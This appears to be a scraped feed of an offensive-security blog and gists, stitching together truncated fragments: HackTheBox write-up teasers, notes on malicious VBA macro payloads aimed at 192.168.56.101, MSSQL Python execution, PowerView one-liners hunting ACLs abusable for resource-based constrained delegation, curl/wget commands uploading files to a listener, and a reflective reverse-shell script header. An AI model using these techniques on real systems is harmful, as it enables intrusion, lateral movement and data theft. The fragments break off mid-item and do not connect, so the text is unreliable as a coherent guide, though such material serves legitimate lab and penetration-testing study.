dannymas

Blackfield vs Crackmapexec

Support:

Getting domain info

Scrambled vs Crackmapexec

Let pwn the box Scrambled from HackTheBox using only CrackMapExec ! For context, I was reading Scrambled writeup from 0xdf_ when I read this:

smbclient won’t work, and I wasn’t able to get crackmapexec to work either.

To be fair, at the time of his writeup it was true, but not anymore and it's pretty simple with CME, 5 minutes and you get root :)

Note: I will pass the web part where we get one username : ksimpson

This is a note for myself describing various Visual Basic macros construction strategies that could be used for remote code execution via malicious Document vector. Nothing new or fancy here, just a list of techniques, tools and scripts collected in one place for a quick glimpse of an eye before setting a payload.

All of the below examples had been generated for using as a remote address: 192.168.56.101.

List:

Page substiution macro for luring user to click Enable Content
The Unicorn Powershell based payload

Executing Python in MSSQL

MSSQL 2017 includes Microsoft Machine Learning Services, which allows for the execution of Python and R scripts within MSSQL via sp_execute_external_script. This is an expansion of the functionality available in MSSQL 2016, which allowed for the execution of R scripts with SQL Server R Services. Examples of how to abuse this functionality with R scripts are available elsewhere.

To execute Python code:

Machine Learning Services (In-Database) and Python must have been selected during installation
External scripts must be enabled
- EXEC sp_configure 'external scripts enabled', 1
- RECONFIGURE WITH OVERRIDE
- Restart the database server
The user must have EXECUTE ANY EXTERNAL SCRIPT

	# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
	# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

	# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
	# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

	# New function naming schema:
	# Verbs:
	# Get : retrieve full raw data sets
	# Find : ‘find’ specific data entries in a data set

	# Get all sids, all computer object ACLs, and find RBCD!!!
	$usersid = get-domainuser \| select -exp objectsid; "Got user SIDS"; $computeracls = Get-DomainComputer \| select -exp dnshostname \| get-domainobjectacl; "Got computer ACLs"; "Search through acls for RBCD..."; foreach ($acl in $computeracls) { foreach($sid in $usersid) { $acl \| ?{$_.SecurityIdentifier -eq $sid -and ($_.ActiveDirectoryRights -Like 'GenericAll' -or $_.ActiveDirectoryRights -Like 'GenericWrite' -or $_.ActiveDirectoryRights -Like 'WriteOwner')} } }

	# Get all SIDS, all computer object ACLs, and find RBCD
	$groupsid = $groups = Get-DomainGroup \| Where-Object {$_.SamAccountName -ne "Domain Admins" -and $_.SamAccountName -ne "Account Operators" -and $_.SamAccountName -ne "Enterprise Admins" -and $_.SamAccountName -ne "Administrators" -and $_.SamAccountName -ne "DnsAdmins" -and $_.SamAccountName -ne "Schema Admins" -and $_.SamAccountName -ne "Key Admins" -and $_.SamAccountName -ne "Enterprise Key Admins" -and $_.SamAccountName -ne "Storage

	using System.Runtime.InteropServices;
	using System;

	/*
	* Simple C# PoC to enable WebClient Service Programmatically
	* Based on the C++ version from @tirannido (James Forshaw)
	* Twitter: https://twitter.com/tiraniddo
	* URL: https://www.tiraniddo.dev/2015/03/starting-webclient-service.html
	*
	* Compile with:

	#!/usr/bin/env python

	"""Extend Python's built in HTTP server to save files

	curl or wget can be used to send files with options similar to the following

	curl -X PUT --upload-file somefile.txt http://localhost:8000
	wget -O- --method=PUT --body-file=somefile.txt http://localhost:8000/somefile.txt

	__Note__: curl automatically appends the filename onto the end of the URL so

	<#

	DynWin32-ReverseShell.ps1 is a reverse shell based on dynamically looked up Win32 API calls.
	The script uses reflection to obtain access to GetModuleHandle, GetProcAddress and CreateProcess.
	Afterwards it uses GetModuleHandle and GetProcAddress to resolve the required WSA functions
	from ws2_32.dll.

	This script should be used for educational purposes only (and maybe while playing CTF :D).
	It was only tested on Windows 10 (x64) and is probably not stable or portable. It's only
	purpose is to demonstrate the usage of reflective lookups of Win32 API calls. See it as

	# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
	# generate server.xml with the following command:
	# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
	# run as follows:
	# python simple-https-server.py
	# then in your browser, visit:
	# https://localhost:4443

	import BaseHTTPServer, SimpleHTTPServer
	import ssl